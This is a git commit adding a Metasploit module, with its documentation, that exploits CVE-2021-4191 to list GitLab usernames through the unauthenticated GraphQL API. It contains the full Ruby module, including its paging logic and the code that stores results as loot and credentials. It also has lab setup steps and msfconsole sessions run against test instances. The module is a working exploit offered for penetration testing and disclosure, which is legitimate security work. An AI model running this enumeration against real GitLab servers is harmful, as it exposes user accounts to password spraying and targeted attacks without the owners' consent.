Initial version of CVE-2021-4191 GitLab user enumeration
This commit is contained in:
parent
239308824a
commit
fbdb6614bc
|
@ -0,0 +1,235 @@
|
|||
## Vulnerable Application
|
||||
|
||||
### Description
|
||||
|
||||
This module queries the GitLab GraphQL API without authentication to acquire the list of
|
||||
GitLab users (CVE-2021-4191). The module works on all GitLab versions from 13.0 up to
|
||||
14.8.2, 14.7.4, and 14.6.5.
|
||||
|
||||
Exploitation will result in acquiring a list of valid GitLab usernames.
|
||||
|
||||
### Installation
|
||||
|
||||
#### GitLab 13.10.2 on Ubuntu 20.04.2 x64
|
||||
|
||||
* Download [GitLab 13.10.2](https://packages.gitlab.com/gitlab/gitlab-ce/packages/ubuntu/focal/gitlab-ce_13.10.2-ce.0_amd64.deb)
|
||||
* Install openssh-server (`sudo apt install openssh-server`)
|
||||
* Install GitLab (`sudo dpkg -i gitlab-ce_13.10.2-ce.0_amd64.deb`)
|
||||
* Modify the `external_url` in `/etc/gitlab/gitlab.rb` to something like `external_url http://localhost`
|
||||
* Run `sudo gitlab-ctl reconfigure`
|
||||
* Done!
|
||||
|
||||
To add a lot of users try something like this:
|
||||
|
||||
```
|
||||
$ set -B
|
||||
$ for i in {50..250}; do
|
||||
curl -vv -X POST "http://10.0.0.6/api/v4/users?private_token=TOKEN&email=test$i@test.com&username=test$i&name=test$i&reset_password=True"
|
||||
done
|
||||
```
|
||||
|
||||
That should create 200 users with names such as "test50", "test51", etc.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
* Follow the above instructions to install GitLab 13.10.2
|
||||
* Do: `use auxiliary/scanner/http/gitlab_graphql_user_enum`
|
||||
* Do: `set RHOST <ip>`
|
||||
* Do: `run`
|
||||
* You should get a list of usernames in loot.
|
||||
|
||||
## Options
|
||||
|
||||
### TARGETURI
|
||||
|
||||
Specifies GitLab's base URI. Although an unpopular configuration, GitLab does support use
|
||||
of a [relative URL](https://docs.gitlab.com/omnibus/settings/configuration.html#configuring-a-relative-url-for-gitlab).
|
||||
|
||||
## Scenarios
|
||||
|
||||
### GitLab 14.4.1 on Ubuntu 20.04.2 x64. More than 100 users triggers paging logic.
|
||||
|
||||
```
|
||||
msf6 > use auxiliary/scanner/http/gitlab_graphql_user_enum
|
||||
msf6 auxiliary(scanner/http/gitlab_graphql_user_enum) > set RHOST 10.0.0.6
|
||||
RHOST => 10.0.0.6
|
||||
msf6 auxiliary(scanner/http/gitlab_graphql_user_enum) > set RPORT 80
|
||||
RPORT => 80
|
||||
msf6 auxiliary(scanner/http/gitlab_graphql_user_enum) > set SSL false
|
||||
[!] Changing the SSL option's value may require changing RPORT!
|
||||
SSL => false
|
||||
msf6 auxiliary(scanner/http/gitlab_graphql_user_enum) > run
|
||||
|
||||
[+] Userlist stored at /home/albinolobster/.msf4/loot/20211229065146_default_10.0.0.6_gitlab.users_537462.txt
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
msf6 auxiliary(scanner/http/gitlab_graphql_user_enum) > cat /home/albinolobster/.msf4/loot/20211229065146_default_10.0.0.6_gitlab.users_537462.txt
|
||||
[*] exec: cat /home/albinolobster/.msf4/loot/20211229065146_default_10.0.0.6_gitlab.users_537462.txt
|
||||
|
||||
test150
|
||||
test149
|
||||
test148
|
||||
test147
|
||||
test146
|
||||
test145
|
||||
test144
|
||||
test143
|
||||
test142
|
||||
test141
|
||||
test140
|
||||
test139
|
||||
test138
|
||||
test137
|
||||
test136
|
||||
test135
|
||||
test134
|
||||
test133
|
||||
test132
|
||||
test131
|
||||
test130
|
||||
test129
|
||||
test128
|
||||
test127
|
||||
test126
|
||||
test125
|
||||
test124
|
||||
test123
|
||||
test122
|
||||
test121
|
||||
test120
|
||||
test119
|
||||
test118
|
||||
test117
|
||||
test116
|
||||
test115
|
||||
test114
|
||||
test113
|
||||
test112
|
||||
test111
|
||||
test110
|
||||
test109
|
||||
test108
|
||||
test107
|
||||
test106
|
||||
test105
|
||||
test104
|
||||
test103
|
||||
test102
|
||||
test101
|
||||
test100
|
||||
test99
|
||||
test98
|
||||
test97
|
||||
test96
|
||||
test95
|
||||
test94
|
||||
test93
|
||||
test92
|
||||
test91
|
||||
test90
|
||||
test89
|
||||
test88
|
||||
test87
|
||||
test86
|
||||
test85
|
||||
test84
|
||||
test83
|
||||
test82
|
||||
test81
|
||||
test80
|
||||
test79
|
||||
test78
|
||||
test77
|
||||
test76
|
||||
test75
|
||||
test74
|
||||
test73
|
||||
test72
|
||||
test71
|
||||
test70
|
||||
test69
|
||||
test68
|
||||
test67
|
||||
test66
|
||||
test65
|
||||
test64
|
||||
test63
|
||||
test62
|
||||
test61
|
||||
test60
|
||||
test59
|
||||
test58
|
||||
test57
|
||||
test56
|
||||
test55
|
||||
test54
|
||||
test53
|
||||
test52
|
||||
test51
|
||||
test50
|
||||
testuser
|
||||
test39
|
||||
test35
|
||||
test34
|
||||
test33
|
||||
test32
|
||||
test31
|
||||
test30
|
||||
test29
|
||||
test28
|
||||
test27
|
||||
test26
|
||||
test25
|
||||
test24
|
||||
test23
|
||||
test22
|
||||
test21
|
||||
test20
|
||||
test18
|
||||
test19
|
||||
test17
|
||||
test16
|
||||
test15
|
||||
test14
|
||||
test13
|
||||
test12
|
||||
test11
|
||||
test10
|
||||
test9
|
||||
test8
|
||||
test7
|
||||
test6
|
||||
test5
|
||||
test4
|
||||
test3
|
||||
test2
|
||||
test1
|
||||
test
|
||||
support-bot
|
||||
alert-bot
|
||||
root
|
||||
msf6 auxiliary(scanner/http/gitlab_graphql_user_enum) >
|
||||
```
|
||||
|
||||
### GitLab 13.10.2 on Ubuntu 20.04.2 x64
|
||||
|
||||
```
|
||||
msf6 > use auxiliary/scanner/http/gitlab_graphql_user_enum
|
||||
msf6 auxiliary(scanner/http/gitlab_graphql_user_enum) > set RHOST 10.0.0.9
|
||||
RHOST => 10.0.0.9
|
||||
msf6 auxiliary(scanner/http/gitlab_graphql_user_enum) > set RPORT 80
|
||||
RPORT => 80
|
||||
msf6 auxiliary(scanner/http/gitlab_graphql_user_enum) > set SSL false
|
||||
[!] Changing the SSL option's value may require changing RPORT!
|
||||
SSL => false
|
||||
msf6 auxiliary(scanner/http/gitlab_graphql_user_enum) > run
|
||||
|
||||
[+] Userlist stored at /home/albinolobster/.msf4/loot/20211229070855_default_10.0.0.9_gitlab.users_748865.txt
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
msf6 auxiliary(scanner/http/gitlab_graphql_user_enum) > cat /home/albinolobster/.msf4/loot/20211229070855_default_10.0.0.9_gitlab.users_748865.txt
|
||||
[*] exec: cat /home/albinolobster/.msf4/loot/20211229070855_default_10.0.0.9_gitlab.users_748865.txt
|
||||
|
||||
root
|
||||
msf6 auxiliary(scanner/http/gitlab_graphql_user_enum) >
|
||||
```
|
|
@ -0,0 +1,180 @@
|
|||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Auxiliary::Scanner
|
||||
include Msf::Auxiliary::Report
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'GitLab GraphQL API User Enumeration',
|
||||
'Description' => %q{
|
||||
This module queries the GitLab GraphQL API without authentication
|
||||
to acquire the list of GitLab users (CVE-2021-4191). The module works
|
||||
on all GitLab versions from 13.0 up to 14.8.2, 14.7.4, and 14.6.5.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [
|
||||
'jbaines-r7', # Independent discovery and Metasploit module
|
||||
'mungsul' # Independent discovery
|
||||
],
|
||||
'References' => [
|
||||
[ 'CVE', '2021-4191' ],
|
||||
[ 'URL', 'https://about.gitlab.com/releases/2022/02/25/critical-security-release-gitlab-14-8-2-released/#unauthenticated-user-enumeration-on-graphql-api']
|
||||
],
|
||||
'DisclosureDate' => '2022-02-01',
|
||||
'DefaultOptions' => {
|
||||
'RPORT' => 443,
|
||||
'SSL' => true
|
||||
},
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'SideEffects' => [IOC_IN_LOGS],
|
||||
'Reliability' => []
|
||||
}
|
||||
)
|
||||
)
|
||||
register_options([
|
||||
OptString.new('TARGETURI', [true, 'Base path', '/'])
|
||||
])
|
||||
end
|
||||
|
||||
##
|
||||
# Send the GraphQL query to the /api/graphql endpoint. Despite being able to
|
||||
# extract significantly more information, this request will only request
|
||||
# usernames. The function will do some verification to ensure the received
|
||||
# payload is the expected JSON.
|
||||
#
|
||||
# @param after [String] The parameter is used for paging because GitLab will only
|
||||
# return 100 results at a time. If no paging is needed this should be empty.
|
||||
# @return [Hash] A Ruby Hash representation of the returned JSON data.
|
||||
##
|
||||
def do_request(after)
|
||||
graphql_query = '{"query": "query { users'
|
||||
unless after.empty?
|
||||
graphql_query += "(after:\\\"#{after}\\\")"
|
||||
end
|
||||
graphql_query.concat(' { pageInfo { hasNextPage, hasPreviousPage, endCursor, startCursor }, nodes { username } } }" }')
|
||||
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, '/api/graphql'),
|
||||
'ctype' => 'application/json',
|
||||
'data' => graphql_query
|
||||
})
|
||||
|
||||
fail_with(Failure::UnexpectedReply, "The target didn't respond with 200 OK") unless res&.code == 200
|
||||
fail_with(Failure::UnexpectedReply, "The target didn't respond with an HTTP body") unless res.body
|
||||
|
||||
user_json = res.get_json_document
|
||||
fail_with(Failure::UnexpectedReply, "The target didn't return a JSON body") if user_json.nil?
|
||||
|
||||
nodes = user_json.dig('data', 'users', 'nodes')
|
||||
fail_with(Failure::UnexpectedReply, 'Could not find nodes in the JSON body') if nodes.nil?
|
||||
|
||||
user_json
|
||||
end
|
||||
|
||||
##
|
||||
# Parses the JSON data returned by the server. Adds the usernames to
|
||||
# the users array and adds them, indirectly, to create_credential_login.
|
||||
# This function also determines if we need to request more data from
|
||||
# the server.
|
||||
#
|
||||
# @param user_json [Hash] The JSON data provided by the server
|
||||
# @param users [Array] An array to store new usernames in
|
||||
# @return [String] An empty string or the "endCursor" to use with do_request
|
||||
##
|
||||
def parse_json(user_json, users)
|
||||
nodes = user_json.dig('data', 'users', 'nodes')
|
||||
return '' if nodes.nil?
|
||||
|
||||
nodes.each do |node|
|
||||
username = node['username']
|
||||
store_username(username, node)
|
||||
users.push(username)
|
||||
end
|
||||
|
||||
query_paging_info = ''
|
||||
more_data = user_json.dig('data', 'users', 'pageInfo', 'hasNextPage')
|
||||
if !more_data.nil? && more_data == true
|
||||
query_paging_info = user_json['data']['users']['pageInfo']['endCursor']
|
||||
end
|
||||
|
||||
query_paging_info
|
||||
end
|
||||
|
||||
def store_userlist(users, service)
|
||||
loot = store_loot('gitlab.users', 'text/plain', rhost, users, nil, 'GitLab Users', service)
|
||||
print_good("Userlist stored at #{loot}")
|
||||
end
|
||||
|
||||
def store_username(username, json)
|
||||
service = ssl ? 'https' : 'http'
|
||||
service_data = {
|
||||
address: rhost,
|
||||
port: rport,
|
||||
service_name: service,
|
||||
protocol: 'tcp',
|
||||
workspace_id: myworkspace_id,
|
||||
proof: json
|
||||
}
|
||||
|
||||
credential_data = {
|
||||
origin_type: :service,
|
||||
module_fullname: fullname,
|
||||
username: username
|
||||
}
|
||||
|
||||
credential_data.merge!(service_data)
|
||||
|
||||
# Create the Metasploit::Credential::Core object
|
||||
credential_core = create_credential(credential_data)
|
||||
|
||||
# Assemble the options hash for creating the Metasploit::Credential::Login object
|
||||
login_data = {
|
||||
core: credential_core,
|
||||
status: Metasploit::Model::Login::Status::UNTRIED
|
||||
}
|
||||
|
||||
# Merge in the service data and create our Login
|
||||
login_data.merge!(service_data)
|
||||
create_credential_login(login_data)
|
||||
end
|
||||
|
||||
##
|
||||
# Send an initial GraphQL request to the server and keep sending
|
||||
# requests until the server has no more data to give us.
|
||||
##
|
||||
def run_host(_ip)
|
||||
user_json = do_request('')
|
||||
|
||||
service = report_service(
|
||||
host: rhost,
|
||||
port: rport,
|
||||
name: (ssl ? 'https' : 'http'),
|
||||
proto: 'tcp'
|
||||
)
|
||||
|
||||
# parse the initial page
|
||||
users = Array[]
|
||||
query_paging_info = parse_json(user_json, users)
|
||||
|
||||
# handle any follow on pages
|
||||
until query_paging_info.empty?
|
||||
user_json = do_request(query_paging_info)
|
||||
query_paging_info = parse_json(user_json, users)
|
||||
end
|
||||
|
||||
unless users.empty?
|
||||
users_string = users.join("\n") + "\n"
|
||||
store_userlist(users_string, service)
|
||||
end
|
||||
end
|
||||
end
|
Loading…
Reference in New Issue